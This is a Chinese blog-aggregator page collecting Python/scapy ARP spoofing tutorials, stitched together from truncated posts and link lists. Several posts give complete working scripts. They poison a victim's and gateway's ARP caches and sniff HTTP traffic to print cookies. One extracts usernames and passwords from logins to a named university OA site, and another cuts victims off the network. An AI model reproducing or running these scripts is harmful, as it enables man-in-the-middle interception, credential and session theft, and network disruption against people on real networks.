精华内容
下载资源
问答
  • 2021-03-15 17:02:50

    用python实现arp欺骗,详细步骤及思路

    用python实现arp欺骗,详细步骤及思路:

    # 1. 从命令行获取要欺骗的IP
    # 2. 获取IP对应的MAC地址
    # 3. 定义MAC获取函数get_mac()
    # 4. 启动ARP欺骗
    # 5. 定义ARP欺骗函数
    # 6. 嗅探数据包
    # 7. 定义cookie嗅探函数
    # 8. 恢复靶机ARP缓存
    # 9. 定义ARP缓存恢复函数
    
    from scapy.all import *
    import time
    from threading import Thread
    
    
    def main(target_ip, gateway_ip):
        conf.verb = 0
        # 2. 获取IP对应的MAC地址
        target_mac = get_mac(target_ip)
        gateway_mac = get_mac(gateway_ip)
    
        # 4. 启动ARP欺骗
        t = Thread(target=poison_target, args=(target_ip, target_mac, gateway_ip, gateway_mac))
        # 当主线程结束时,子线程自动结束
        t.setDaemon(True)
        t.start()
    
        # 6. 嗅探数据包
        sniff(filter="tcp port 80", prn=packet_callback, store=0)
    
        # 8. 恢复靶机ARP缓存
        restore_target(target_ip, target_mac, gateway_ip, gateway_mac)
    
    
    # 9. 定义ARP缓存恢复函数
    def restore_target(target_ip, target_mac, gateway_ip, gateway_mac):
        print("[*] Restoring target...")
        # 恢复靶机的缓存
        send(ARP(op=2, psrc=gateway_ip, hwsrc=gateway_mac, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff"), count=5)
    
        # 恢复目标机缓存
        send(ARP(op=2, psrc=target_ip, hwsrc=target_mac, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff"), count=5)
    
    
    # 7. 定义cookie嗅探函数
    def packet_callback(packet):
        if packet[TCP].payload:
            cookie_packet = bytes(packet[TCP].payload)
            if b"Cookie" in cookie_packet:
                for info in cookie_packet.split(b'\n'):
                    if b"Referer" in info or b"GET /" in info:
                        print(info)
                    elif b"Cookie" in info:
                        print(info, "\n")
    
    
    # 5. 定义ARP欺骗函数
    def poison_target(target_ip, target_mac, gateway_ip, gateway_mac):
        # 欺骗靶机
        target = ARP()
        target.op = 2  # 2 代表响应包
        target.psrc = gateway_ip
        target.pdst = target_ip
        target.hwdst = target_mac
    
        # 欺骗网关
        gateway = ARP()
        gateway.op = 2
        gateway.psrc = target_ip
        gateway.pdst = gateway_ip
        gateway.hwdst = gateway_mac
    
        print("[*] Beginning the ARP poison...")
        while True:
            send(target)
            send(gateway)
            time.sleep(2)
    
    
    # 3. 定义MAC获取函数get_mac()
    def get_mac(ip):
        response, unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip), timeout=2)
        for s, r in response:
            return r[ARP].hwsrc
    
    
    if __name__ == "__main__":
        # 1. 从命令行获取要欺骗的IP
        target_ip = input("Input target IP: ")
        gateway_ip = input("Input gateway IP: ")
        main(target_ip, gateway_ip)
    
    
    更多相关内容
  • 使用python实现arp欺骗

    千次阅读 2022-04-30 07:45:56
    实验拓扑: 1.首先进行ping测试网关和kali,来...3.查看欺骗后的arp表,R1和PC1都认为对方的mac地址是7B-26,也就是kali的mac python脚本: import sys import time from scapy.all import sendp, AR...

    实验拓扑:

    1.首先进行ping测试网关和kali,来获取mac地址

    ping 192.168.72.131

    ping 192.168.72.20

    MAC地址对应结果如下:

    2.进行使用脚本中间人欺骗,脚本放在最后

    3.查看欺骗后的arp表,R1和PC1都认为对方的mac地址是7B-26,也就是kali的mac

     python脚本:

    import sys
    import time
    from scapy.all import sendp, ARP, Ether
    
    if len(sys.argv) != 3:
        print(sys.argv[0] + ":<target_IP> <spoof_ip>")
        sys.exit()
    
    victimIP = sys.argv[1]  # 接收第二个参数:target_IP
    gatewayIP = sys.argv[2]
    packet = Ether() / ARP(psrc=gatewayIP, pdst=victimIP)  # 封装一个二层的ARP包,进行欺骗
    
    while True:
        sendp(packet)   # 发送包
        time.sleep(3)
        print(packet.show())

    展开全文
  • Python实现ARP欺骗

    千次阅读 2019-04-02 17:41:50
    实验目的:局域网段扫描,利用arp欺骗抓包获取...ARP欺骗攻击就利用了这点,攻击者主动发送ARP报文。通过不断发送这些伪造的ARP报文,让局域网上所有的主机和网关ARP表,其对应的MAC地址均为攻击者的MAC地址,这样所...

    实验目的:局域网段扫描,利用arp欺骗抓包获取用户名密码,我选择的是截获被攻击者登录http://oa.nwu.edu.cn/网站的登录信息;
    **ARP欺骗原理:**:局域网上的一台主机,如果接收到一个ARP报文,即使该报文不是该主机所发送的ARP请求的应答报文,该主机也会将ARP报文中的发送者的MAC地址和IP地址更新或加入到ARP表中。ARP欺骗攻击就利用了这点,攻击者主动发送ARP报文。通过不断发送这些伪造的ARP报文,让局域网上所有的主机和网关ARP表,其对应的MAC地址均为攻击者的MAC地址,这样所有的网络流量都会发送给攻击者主机。
    ARP攻击的两种类型:
    主机型ARP欺骗:
    在这里插入图片描述
    2、网关型ARP欺骗:
    在这里插入图片描述
    实验步骤
    其中,主要用到的语法公式如下:
    pack=Ether(src=攻击者MAC地址,dst=目标MAC地址)/ARP(hwsrc=攻击者MAC地址,psrc=要假装谁就是谁的IP地址,hwdst=目标MAC地址,pdst=目标IP地址)

    1、局域网扫描:找到当前局域网内活跃的主机,代码如下:

    def scan():
        ans,unans = srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=getway+'/16'),timeout=1)
        print('一共扫描到%d个主机:'%len(ans))
        print(ans)
    

    SR()函数用来来发送数据包和接收响应,他会返回两个列表数据,一个是answer list 另一个是unanswered list;

    2、ARP攻击:此次攻击使用多进程,每隔0.2s发一次arp攻击,攻击者伪装成网关,截获被攻击主机的TCP请求报文,通过爬虫,输出用户名以及密码;

    发送ARP攻击数据包代码如下:

    #局域网段扫描,抓包获取密码 author=肖俊怡
    
    import time
    import re 
    import os
    from scapy.all import *
    from threading import Thread
    
    #定义变量函数
    wifi = 'Intel(R) Dual Band Wireless-AC 7265'
    rtable = os.popen('route print').read()
    #print(rtable)
    #注意将列表转为字符串
    getway = re.findall(r'0\.0\.0\.0\s+0\.0\.0\.0\s+(\S+)\s',rtable)[0]
    #print(getway)
    
    #局域网扫描
    def scan():
    
    #SR()函数用来来发送数据包和接收响应,他会返回两个列表数据,一个是answer list 另一个是unanswered list
    #公式:pack=Ether(src=攻击者MAC地址,dst=目标MAC地址)/ARP(hwsrc=攻击者MAC地址,psrc=要假装谁就是谁的IP地址,hwdst=目标MAC地址,pdst=目标IP地址,op=2)
        ans,unans = srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=getway+'/24'),timeout=1)
        print('一共扫描到%d个主机:'%len(ans))
        for i in ans:
            print(i)
     
    #找用户名和密码
    def paw(p):
        try:
            if p.haslayer(Raw):
                ss=p.load.decode()
                result=re.findall(r'userName=(.+)&passWord=(.+)',ss)
                if result:
                    print('user:',result[0][0])
                    print('pass:',result[0][1])
        except:
            pass
          
    #抓包
    def capture(tip,tcap):
        #冒充自己为网关
        pkts=sniff(iface=wifi,timeout=tcap,filter='tcp port 80 and src host %s'%tip,prn=paw)
            
    #arp欺骗攻击
    def arpspoof(tip,tcap):
        t = Thread(target=capture,args=(tip,tcap))
        t.start()
        for i in range(tcap*5):
            sendp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=target,psrc=getway))
            time.sleep(0.2)
    
        
        
    if __name__ == '__main__':
        scan()
        target = input('输入要攻击的ip地址:').strip()
        tl = int(input('输入要准备攻击的时间:').strip())
        arpspoof(target,tl)
        print('攻击结束!')
    

    恩恩~~就酱紫啦!!!

    展开全文
  • 首先介绍一个python第三方库--Scapy,这个库不是标准库,默认是没有的,需要安装,不过在kali-linux里边是默认安装的,这里我用kali做攻击者,xp做受害者关于ScapyScapy是一个功能强大的交互式数据包操作程序。...

    首先介绍一个python第三方库--Scapy,这个库不是标准库,默认是没有的,需要安装,不过在kali-linux里边是默认安装的,

    这里我用kali做攻击者,xp做受害者

    关于Scapy

    Scapy是一个功能强大的交互式数据包操作程序。它能够伪造或解码大量协议的数据包,通过线路发送它们,捕获它们,匹配请求和回复等等。它可以轻松处理大多数经典任务,如扫描,跟踪路由,探测,单元测试,攻击或网络发现(它可以取代hping,85%的nmap,arpspoof,arp-sk,arping,tcpdump,tethereal,p0f等)。它还能在许多其他工具无法处理的其他特定任务中表现良好,例如发送无效帧,注入自己的802.11帧,组合技术(VLAN跳跃+ ARP缓存中毒,WEP加密通道上的VOIP解码,...... )等。

    首先我们学习下Scapy的几个函数用法,

    getmacbyip----查找ip的Mac地址

    get_if_hwaddr----查找网卡的Mac地址

    看下图:受害者的ip地址为192.168.122.136,网关是192.168.122.2,攻击者ip:192.168.122.129

    1257860-20180827185055835-1582638086.png

    1257860-20180827190020196-1682468551.png

    关于ARP欺骗

    由于局域网的网络流通不是根据IP地址进行,而是根据MAC地址进行传输。所以,MAC地址在A上被伪造成一个不存在的MAC地址,这样就会导致网络不通,A不能Ping通C!这就是一个简单的ARP欺骗。

    1257860-20180827191431239-405563583.png

    本来受害者是通过将请求发给网关,然后网关去访问外面,这里ARP欺骗是将攻击者Mac地址假装成网关的Mac地址,完成ARP欺骗

    了解ARP

    1257860-20180827192050526-948453123.png

    我们需要用到的是下边5个,

    op--- 接收包数(默认为1)

    hwsrc--- 仿作的Mac地址(也就是攻击者的Mac地址)

    psrc--- 网关的ip地址

    hwsrc--- 受害者的Mac地址

    pdst --- 受害者的ip地址

    1257860-20180827193229688-1945882124.png

    因为是以太网,因此要了解下Ether()

    1257860-20180827193016802-1738897520.png

    三个参数,目的主机MAC地址,攻击者Mac地址,

    部分代码:

    1257860-20180827193422280-1849265265.png

    这里包的地方有个/号

    这是将两者连接的意思,例子如下:

    1257860-20180827193359468-681728942.png

    接下来构造一直发送请求,来认识sendp

    sendp(x, inter=0, loop=0, iface=None, iface_hint=None, count=None, verbose=None, realtime=None, return_packets=False, *args, **kargs)

    x为包,inter为请求间隔,iface为网络接口

    完整代码:

    1257860-20180827193934940-435954931.png

    这时我们来测试一下

    不开启ARP欺骗,ping是畅通的

    1257860-20180827194113402-306361709.png

    开启后:

    1257860-20180827194646536-2093108129.png

    1257860-20180827200051933-723141188.png

    要想恢复通讯,改一下网关所指的Mac地址

    将pack包里边的psrc改为网关Mac :gmac即可

    这里仅仅只能让受将害者断网,要想进一步学习

    来举个例子

    接收受害者的图片

    用到的 软件 driftnet

    开启ip转发代码

    sysctl net.ipv4.ip_forward=1

    1257860-20180827200521098-1929270580.png

    再输入driftnet,打开窗口

    然候在受害者电脑上打开图片链接,即可在driftnet里边显示

    快去试试吧!

    展开全文
  • 本次用代码实现的是ARP网关欺骗,通过发送错误的网关映射关系导致局域网内其他主机无法正常路由。使用scapy中scapy.all模块的ARP、sendp、Ether等函数完成包的封装与发送。一个简单的ARP响应报文发送: eth = Ether...
  • * scapy在windows下需要安装npcap,代码使用的python版本是3.8 代码如下 #!/usr/bin/env python # -*- coding: utf-8 -*- # @File : arp_attack.py # @Author: Feng # @Date : 2020/11/5 # @Desc : trace from scapy....
  • arp全称为“地址解析协议”,是根据IP获取对应mac地址的一种协议。主机上也是根据arp缓存表进行内网主机的信息交互的,arp缓存表存放着ip对应mac地址的关系。如果一台主机需要上网,就需要先找到自己的网关ip。由于...
  • 主要介绍了python使用arp欺骗伪造网关的方法,涉及Python伪造网关的相关技巧,需要的朋友可以参考下
  • 在数据链路层是通过mac地址来发送报文的,所以需要将网络层的ip对应到mac地址,由于arp协议是基于局域网内主机互相信任的基础上的,如果我们构造并发送了一个arp欺骗包,就可以实现arp欺骗。 2.arp欺骗实验 攻击...
  • Python利用scapy实现ARP欺骗

    千次阅读 2018-03-27 14:58:19
     本次用代码实现的是ARP网关欺骗,通过发送错误的网关映射关系导致局域网内其他主机无法正常路由。使用scapy中scapy.all模块的ARP、sendp、Ether等函数完成包的封装与发送。一个简单的ARP响应报文发送:eth = Ether...
  • Apple iPhone 11 (A2223) 128...1.系统环境:Ubuntu 16.04Python版本:2.72.攻击机器:Ubuntu(192.16.0.14)目标机器:Windows 7(192.168.0.9)网关:(192.168.0.1)3.首先使用下面命令安装scapy模块pip install scapy4...
  • 本文在模拟网络攻击实验环境中,使用Python的scapy模块构造ARP数据包发送给目标机进行ARP欺骗,成功实施了中间人攻击,然后嗅探局域网内部网络流量,截取HTTP协议数据包进行解析,初步实现了在被攻击者浏览网页点击...
  • 文章目录1.ARP协议工作过程2.ARP欺骗原理2.1单向欺骗2.1双向欺骗3.利用脚本实现ARP攻击 1.ARP协议工作过程 假设有两台主机A:192.168.1.1,B:192.168.1.2。当主机A要与主机B通信时,A首先会以广播的方式发送一个ARP...
  • python实现ARP欺骗

    2018-08-27 20:08:00
    首先介绍一个python第三方库--Scapy,这个库不是标准库,默认是没有的,需要安装,不过在kali-linux里边是默认安装的, 这里我用kali做攻击者,xp做受害者 关于Scapy Scapy是一个功能强大的交互式数据包操作程序...
  • python+scapy实现ARP欺骗

    千次阅读 2020-10-24 15:24:25
    python+scapy实现ARP欺骗需要下载的库ARP欺骗原理源代码:运行结果 需要下载的库 可以直接通过pip下载 pip install scapy ARP欺骗原理 设网关的IP为10.10.10.1,MAC为11:22:33:44:55:AA; 攻击主机的IP为10.10.10.3...
  • 实现简单的ARP扫描工具: 传入扫描参数main.py -a 192.168.1.1-100 扫描网段内所有的在线主机并显示其MAC地址.from scapy.all import *from optparse import OptionParserimport threadingdef parse_ip(targets):_...
  • Python编写简单的ARP欺骗工具

    千次阅读 2021-10-30 14:30:33
    什么是ARP欺骗? 是针对ARP协议的一种攻击技术,通过欺骗局域网内访问者PC的网关MAC地址,使访问者PC错以为攻击者更改后的MAC地址是网关的MAC,导致网络不通。此种攻击可让攻击者获取局域网上的数据包甚至可篡改...
  • python arp欺骗

    2021-02-10 20:15:23
    使用python构造一个arp欺骗脚本import osimport sysfrom scapy.all import *import optparsedef main():usage="usage:[-i interface] [-t IP to attack] [-g Gateway IP]"parser=optparse.OptionParser(usage)parser...
  • pythonarp欺骗

    2020-11-03 00:12:54
    kali使用Ettercap进行arp欺骗 192.168.0.105加入target1,192.168.0.1网关加入target2 ... windows7查看mac地址已经发生变化 可以用driftnet查看被攻击的win7访问...python编写arp欺骗脚本 srp发送数据包 verbose不显
  • python 实现ARP攻击

    2020-11-20 17:44:30
    原博文2013-10-27 21:38 −注:使用这个脚本需要安装scapy 包 最好在linux平台下使用,因为scapy包在windows上安装老是会有各种问题 1 #coding:utf-8 2 #example :sudo python arp_dos.py 192.16...相关推荐2016-08-...
  • python构造ARP欺骗数据包

    千次阅读 2019-07-12 11:54:11
    在讲ARP欺骗之前先讲讲什么是ARP以及ARP欺骗的原理吧。 一、 什么是ARP? arp英文全称: address resolution protocol 中文:地址解析协议 它的作用:是根据IP地址获取获取物理地址的一个TCP/IP协议。 主机发送 ...
  • (DNS,ARP,IP,TCP,UDP等等),可以用它来编写非常灵活实用的工具。 安装 scapy pip安装 :pip install scapy pip install ipython(运行命令行方式需要) windows下安装scapy需要安装winpcap或者npcap(用于抓取网卡的...
  • python 使用scapy库进行ARP欺骗

    万次阅读 2015-05-14 21:20:27
    1. 说明 ARP欺骗(ARP spoofing),又称ARP病毒(ARP poisoning)或ARP攻击,是针对以太网地址解析协议(ARP)的一种攻击技术。此种攻击可让攻击者获取局域网上的数据包甚至可篡改数据包,且可让网络上特定电脑或...
  • python scapy实现ARP欺骗与DNS欺骗

    千次阅读 2019-03-27 22:27:55
    ARP协议(地址解析协议),是一个能够将IP地址转换为MAC地址来让设备间通讯的协议,由于设备间进行网络通讯时,需要将网络层IP数据包包头中的IP地址信息解析出目标硬件(MAC地址)信息来保证通信的顺利进行,所以就...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 1,981
精华内容 792
关键字:

python实现arp欺骗